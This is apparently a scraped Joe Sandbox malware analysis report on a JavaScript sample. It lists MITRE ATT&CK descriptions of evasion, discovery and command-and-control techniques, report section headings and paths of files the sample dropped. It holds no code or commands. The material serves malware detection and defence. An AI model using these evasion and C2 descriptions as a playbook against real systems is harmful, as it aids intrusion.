Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1554336511338510086.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4d46f2f0-c992-4c78-8934-4f74007d67fa.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2284

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
1554336511338510086.js